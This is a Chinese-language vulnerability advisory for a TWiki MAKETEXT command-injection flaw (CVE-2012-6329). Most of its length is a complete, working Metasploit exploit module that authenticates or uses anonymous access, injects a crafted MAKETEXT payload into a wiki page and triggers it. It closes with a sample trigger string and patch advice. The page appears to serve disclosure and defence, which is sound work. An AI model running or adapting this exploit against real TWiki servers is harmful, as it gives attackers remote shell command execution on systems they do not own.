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首页 / 操作系统 / Linux / TWiki twiki/lib/TWiki.pm MAKETEXT宏任意shell命令注入漏洞

发布日期:2012-12-14
更新日期:2012-12-24受影响系统:
TWiki TWiki <= 5.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 56950
 CVE(CAN) ID: CVE-2012-6329,CVE-2012-6330
 
TWiki是一款灵活易用、功能强大的企业协作平台和知识管理系统。
 
TWiki Locale::Maketext CPAN模块内存在安全漏洞,MAKETEXT宏内的值没有被正确过滤直接传入Perl脚本中的eval函数中执行,可允许远程攻击者通过Perl脚本backtick ("")操作符执行任意shell命令。
 
<*来源:George Clark
 
 链接:http://www.exploit-db.com/exploits/23579/
       http://www.osvdb.org/show/osvdb/88460
       http://secunia.com/advisories/51548/
       http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329
 *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # web site for more information on licensing and terms of use.
 # http://metasploit.com/
 ## require "msf/core" class Metasploit3 < Msf::Exploit::Remote
   Rank = ExcellentRanking   include Msf::Exploit::Remote::HttpClient   def initialize(info = {})
       super(update_info(info,
           "Name"         => "TWiki MAKETEXT Remote Command Execution",
           "Description"    => %q{
                   This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a
               specially crafted MAKETEXT, a malicious user can execute shell commands since user
               input is passed to the Perl "eval" command without first being sanitized. The
               problem is caused by an underlying security issue in the CPAN:Locale::Maketext
               module. This works in TWiki sites that have user interface localization enabled
               (UserInterfaceInternationalisation variable set).               If USERNAME and PASSWORD aren"t provided, anonymous access will be tried. Also,
               if the "TwikiPage" option isn"t provided, the module will try to create a random
               page on the SandBox space.  The modules has been tested successfully on
               TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.
           },
           "Author"       =>
               [
                   "George Clark", # original discovery
                   "juan vazquez" # Metasploit module
               ],
           "License"        => MSF_LICENSE,
           "References"   =>
               [
                   [ "CVE", "2012-6329" ],
                   [ "OSVDB", "88460" ],
                   [ "BID", "56950" ],
                   [ "URL", "http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329" ]
               ],
           "Privileged"   => false, # web server context
           "Payload"        =>
               {
                   "DisableNops" => true,
                   "Space"     => 1024,
                   "Compat"      =>
                       {
                           "PayloadType" => "cmd",
                           "RequiredCmd" => "generic ruby python bash telnet"
                       }
               },
           "Platform"     => [ "unix" ],
           "Arch"         => ARCH_CMD,
           "Targets"        => [[ "Automatic", { }]],
           "DisclosureDate" => "Dec 15 2012",
           "DefaultTarget"  => 0))       register_options(
           [
               OptString.new("TARGETURI", [ true, "TWiki base path", "/" ]),
               OptString.new("TwikiPage", [ false, "TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
               OptString.new("USERNAME", [ false,  "The user to authenticate as (anonymous if username not provided)"]),
               OptString.new("PASSWORD", [ false,  "The password to authenticate with (anonymous if password not provided)" ])
           ], self.class)
   end   def do_login(username, password)
       res = send_request_cgi({
           "method" => "POST",
           "uri"      => "#{@base}do/login",
           "vars_post" =>
               {
                   "username" => username,
                   "password" => password
               }
           })       if not res or res.code != 302 or res.headers["Set-Cookie"] !~ /TWIKISID=([0-9a-f]*)/
           return nil
       end       session = $1
       return session
   end   def inject_code(session, code)       vprint_status("Retrieving the crypttoken...")       res = send_request_cgi({
           "uri"      => "#{@base}do/edit#{@page}",
           "cookie" => "TWIKISID=#{session}",
           "vars_get" =>
               {
                   "nowysiwyg" => "1"
               }
       })       if not res or res.code != 200 or res.body !~ /name="crypttoken" value="([0-9a-f]*)"/
           vprint_error("Error retrieving the crypttoken")
           return nil
       end       crypttoken = $1
       vprint_good("crypttoken found: #{crypttoken}")       if session.empty?
           if res.headers["Set-Cookie"] =~ /TWIKISID=([0-9a-f]*)/
               session = $1
           else
               vprint_error("Error using anonymous access")
               return nil
           end
       end       vprint_status("Injecting the payload...")       res = send_request_cgi({
           "method" => "POST",
           "uri"      => "#{@base}do/save#{@page}",
           "cookie" => "TWIKISID=#{session}",
           "vars_post" =>
           {
               "crypttoken" => crypttoken,
               "text" => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\"}; `#{code}`; { #" args="#{rand_text_alpha(3 + rand(3))}"}%"
           }
       })       if not res or res.code != 302 or res.headers["Location"] =~ /oops/ or res.headers["Location"] !~ /#{@page}/
           print_warning("Error injecting the payload")
           print_status "#{res.code} #{res.body} #{res.headers["Location"]}"
           return nil
       end       location = URI(res.headers["Location"]).path
       print_good("Payload injected on #{location}")       return location
   end   def check
       @base = target_uri.path
       @base << "/" if @base[-1, 1] != "/"       res = send_request_cgi({
           "uri"      => "#{@base}do/view/TWiki/WebHome"
       })       if not res or res.code != 200
           return Exploit::CheckCode::Unknown
       end       if res.body =~ /This site is running TWiki version.*TWiki-(d.d.d)/
           version = $1
           print_status("Version found: #{version}")
           if version < "5.1.3"
               return Exploit::CheckCode::Appears
           else
               return Exploit::CheckCode::Safe
           end
       end       return Exploit::CheckCode::Detected
   end
   def exploit       # Init variables
       @page = ""       if datastore["TwikiPage"] and not datastore["TwikiPage"].empty?
           @page << "/" if datastore["TwikiPage"][0] != "/"
           @page << datastore["TwikiPage"]
       else
           @page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
       end       @base = target_uri.path
       @base << "/" if @base[-1, 1] != "/"       # Login if needed
       if (datastore["USERNAME"] and
           not datastore["USERNAME"].empty? and
           datastore["PASSWORD"] and
           not datastore["PASSWORD"].empty?)
           print_status("Trying login to get session ID...")
           session = do_login(datastore["USERNAME"], datastore["PASSWORD"])
       else
           print_status("Using anonymous access...")
           session = ""
       end       if not session
           fail_with(Exploit::Failure::Unknown, "Error getting a session ID")
       end       # Inject payload
       print_status("Trying to inject the payload on #{@page}...")
       res = inject_code(session, payload.encoded)
       if not res
           fail_with(Exploit::Failure::Unknown, "Error injecting the payload")
       end       # Execute payload
       print_status("Executing the payload through #{res}...")
       res = send_request_cgi({
           "uri"      => res,
           "cookie" => "TWIKISID=#{session}"
       })
       if not res or res.code != 200 or res.body !~ /HASH/
           fail_with(Exploit::Failure::Unknown, "Error executing the payload")
       end       print_good("Exploitation was successful")   end end =begin * Trigger: %MAKETEXT{"test [_1] secondtest\"}; `touch /tmp/msf.txt`; { #" args="msf"}% =end建议:
--------------------------------------------------------------------------------
临时解决方法:
 
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
 
* 通过将flag {UserInterfaceInternationalisation} 设置为0禁用本地化操作。
 
厂商补丁:
 
TWiki
 -----
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://twiki.org/cgi-bin/view/Codev/TWikiRelease05x01x03Computer Associates IdentityMinder 任意命令执行漏洞(CVE-2012-6298)Computer Associates IdentityMinder 权限提升漏洞(CVE-2012-6299)相关资讯      TWiki  TWiki安全漏洞 
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